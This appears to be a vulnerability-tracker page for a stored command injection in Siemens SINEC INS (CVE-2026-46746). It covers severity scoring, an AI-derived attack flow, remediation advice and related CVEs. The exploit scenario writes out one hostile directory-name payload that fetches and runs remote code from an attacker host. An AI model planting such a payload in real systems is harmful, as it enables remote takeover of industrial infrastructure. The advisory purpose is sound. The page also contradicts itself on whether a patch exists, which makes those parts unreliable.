Skip to main content

SINEC INS EUVDEUVD-2026-35383

| CVE-2026-46746 HIGH
OS Command Injection (CWE-78)
2026-06-09 siemens GHSA-vxxj-9x7w-4356
8.7
CVSS 4.0 · Vendor: siemens
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain low-privilege SINEC INS credentials
  2. Delivery
    Authenticate to management API
  3. Exploit
    POST crafted directory name to /api/sftp/uploadFiles
  4. Install
    Malicious payload stored on appliance
  5. C2
    Admin or job lists SFTP directory
  6. Execute
    Shell command executes as sinecins user
  7. Impact
    Establish persistence on SINEC appliance

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires (1) network reachability to the SINEC INS web/API interface, (2) valid credentials for an account with permission to call the /api/sftp/uploadFiles endpoint (CVSS PR:L confirms authenticated, low-privilege access is sufficient - administrative rights are not required), and (3) a subsequent directory-listing action by any user or process to trigger the stored payload. Limiting factors: SINEC INS is typically deployed inside segmented industrial/OT management networks rather than internet-exposed, so the attacker must already have a foothold in or credentials to that segment; exploitation is also gated on the second-order trigger, meaning if directory listings are never performed the payload remains dormant. No user interaction is required from the victim beyond the routine act of listing directory contents (CVSS UI:N).

Impact

The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:L/UI:N with VC:H/VI:H/VA:H indicates a low-complexity network-reachable attack requiring only low-privilege authenticated access and no user interaction, yielding full compromise of the affected service account - a credible priority for any Siemens OT environment exposing SINEC INS management interfaces. EPSS and KEV data were not provided in the input, so widespread exploitation cannot be confirmed; no public exploit identified at time of analysis. The realistic risk is moderate-to-high: SINEC INS is typically deployed in segmented OT/industrial networks where low-privilege accounts may still be broadly issued, and the stored nature of the injection means a low-privilege user can compromise the host the moment a higher-privilege user or scheduled job lists the directory. Scope remains unchanged (SC:N/SI:N/SA:N), so impact is confined to the sinecins service user rather than crossing a privilege boundary at the OS root level.

Exploit ScenarioDerived

A low-privilege operator account (or attacker who has phished/credential-stuffed such an account) authenticates to SINEC INS and POSTs to /api/sftp/uploadFiles specifying a directory name containing a shell metacharacter payload such as ;curl attacker/x|sh. The payload is stored in the filesystem or directory metadata, and when an administrator or a scheduled task subsequently views the SFTP directory listing, the injected command is executed as the sinecins service account, giving the attacker an interactive foothold on the appliance.

Act Now Prioritize within 24-48h. Why: Active threat signals + CRITICAL/HIGH severity.
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 09, 2026

Authenticated command injection in Siemens SINEC INS versions prior to V1.0 SP2 Update 6 allows remote attackers to execute arbitrary OS commands as the sinecins service account by submitting crafted directory names to the /api/sftp/uploadFiles endpoint. The injected payloads are stored and triggered later when directory listings are retrieved, producing a stored/second-order command injection. No public exploit identified at time of analysis, but the CVSS 4.0 base score of 8.7 reflects high impact across confidentiality, integrity, and availability of the underlying host.

RemediationAI

Vendor-released patch: SINEC INS V1.0 SP2 Update 6 - upgrade all instances to this version or later per Siemens ProductCERT SSA-860189 (https://cert-portal.siemens.com/productcert/html/ssa-860189.html). Until the upgrade can be deployed, restrict network access to the SINEC INS management interface to a dedicated administration VLAN or jump host so that only trusted operators can reach /api/sftp/uploadFiles, and tighten role assignments so that low-privilege accounts with SFTP upload rights are minimized - the trade-off is operational friction for legitimate SFTP users and reduced self-service for field engineers. Additionally, audit existing SFTP directory names on deployed instances for suspicious shell metacharacters (backticks, $(), semicolons, pipes) before the patch runs and triggers any pre-planted payload, since this is a stored injection where malicious directory names may already be present.

Affected VersionsENISA

SINEC INS 0 <V1.0 SP2 Update 6

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

SINEC INS (Infrastructure Network Services) is Siemens' centralized management appliance providing services such as RADIUS, syslog, DHCP, SFTP, and certificate handling for industrial network infrastructure (CPE cpe:2.3:a:siemens:sinec_ins:*). The flaw is a classic CWE-78 OS Command Injection: the SFTP upload handler accepts a directory name parameter that is later interpolated into a shell command (most plausibly an ls/find/stat call during directory enumeration) without proper sanitization or use of parameterized execution. Because the payload is persisted and only executed when an admin or process subsequently lists directories, this is effectively stored command injection - a more dangerous variant than reflected injection because the trigger is decoupled from the initial request.

Know when Sinec Ins gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (siemens) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (siemens) · only source for this CVE.

CVSS VectorVendor: siemens

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jun 09, 2026 - 10:22 NVD
8.8 (HIGH) 8.7 (HIGH)

DescriptionCVE.org

A vulnerability has been identified in SINEC INS (All versions < V1.0 SP2 Update 6). The application does not properly sanitize user input in the /api/sftp/uploadFiles endpoint, allowing the injection of shell command payloads via crafted directory names. These payloads are stored and executed when directory listings are retrieved. This could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system with the privileges of the affected service user (sinecins).

Executive ViewAI

Why It Matters

Siemens SINEC INS versions prior to V1.0 SP2 Update 6 contain an authenticated command injection vulnerability enabling credential-holding attackers to execute arbitrary OS commands with service account privileges, directly threatening the confidentiality, integrity, and availability of affected infrastructure. Organizations operating SINEC INS face elevated risk of host compromise and potential lateral movement within industrial control or network environments. The absence of a vendor patch requires immediate defensive action to contain exposure until remediation becomes available.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Restrict network access to the /api/sftp/uploadFiles endpoint via firewall or API gateway controls. Enforce credential governance and rotate credentials for accounts accessing SINEC INS. Implement input validation to reject directory submission containing shell metacharacters (|, &, ;, `, $, etc.). Deploy host-based monitoring to detect anomalous process execution from the sinecins service account. Enable comprehensive audit logging of API calls and file operations for threat detection and forensic investigation.

Threat Intelligence Overview

EPSS Score
0.2%
Top 52% exploitable
Threat Intel
1
1 source
Social Media
2
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat Yes
Deciding rule
Active threat signals + CRITICAL/HIGH severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

54
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: +10
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Related Vulnerabilities in SINEC INS Command Injection and Path Traversal

View all 2
CVE-2022-2068 HIGH
7.3 Jun 21

In addition to the c_rehash shell command injection identified in CVE-2022-1292, further circumstances where the c_rehas

CVE-2021-23337 HIGH POC
7.2 Feb 15

Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function. Rated high severity (CVS

CVE-2021-22945 CRITICAL POC
9.1 Sep 23

When sending data to an MQTT server, libcurl <= 7.73.0 and 7.78.0 could in some circumstances erroneously keep a pointer

CVE-2022-35255 CRITICAL POC
9.1 Dec 05

A weak randomness in WebCrypto keygen vulnerability exists in Node.js 18 due to a change with EntropySource() in SecretK

CVE-2020-12762 HIGH POC
7.8 May 09

json-c through 0.14 has an integer overflow and out-of-bounds write via a large JSON file, as demonstrated by printbuf_m

CVE-2021-3749 HIGH POC
7.5 Aug 31

axios is vulnerable to Inefficient Regular Expression Complexity. Rated high severity (CVSS 7.5), this vulnerability is

CVE-2020-7793 HIGH POC
7.5 Dec 11

The package ua-parser-js before 0.7.23 are vulnerable to Regular Expression Denial of Service (ReDoS) in multiple regexe

CVE-2021-25217 HIGH POC
7.4 May 26

In ISC DHCP 4.1-ESV-R1 -> 4.1-ESV-R16, ISC DHCP 4.4.0 -> 4.4.2 (Other branches of ISC DHCP (i.e., releases in the 4.0.x

CVE-2026-46748 HIGH
8.7 Jun 09

Local privilege escalation in Siemens SINEC INS (versions prior to V1.0 SP2 Update 6) stems from a binary shipped with t

CVE-2022-35256 MEDIUM POC
6.5 Dec 05

The llhttp parser in the http module in Node v18.7.0 does not correctly handle header fields that are not terminated wit

CVE-2022-32215 MEDIUM POC
6.5 Jul 14

The llhttp parser <v14.20.1, <v16.17.1 and <v18.9.1 in the http module in Node.js does not correctly handle multi-line T

CVE-2022-32213 MEDIUM POC
6.5 Jul 14

The llhttp parser <v14.20.1, <v16.17.1 and <v18.9.1 in the http module in Node.js does not correctly parse and validate

Threat IntelligenceMISP

CISA Advisories
Sources: CISA (public domain)

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy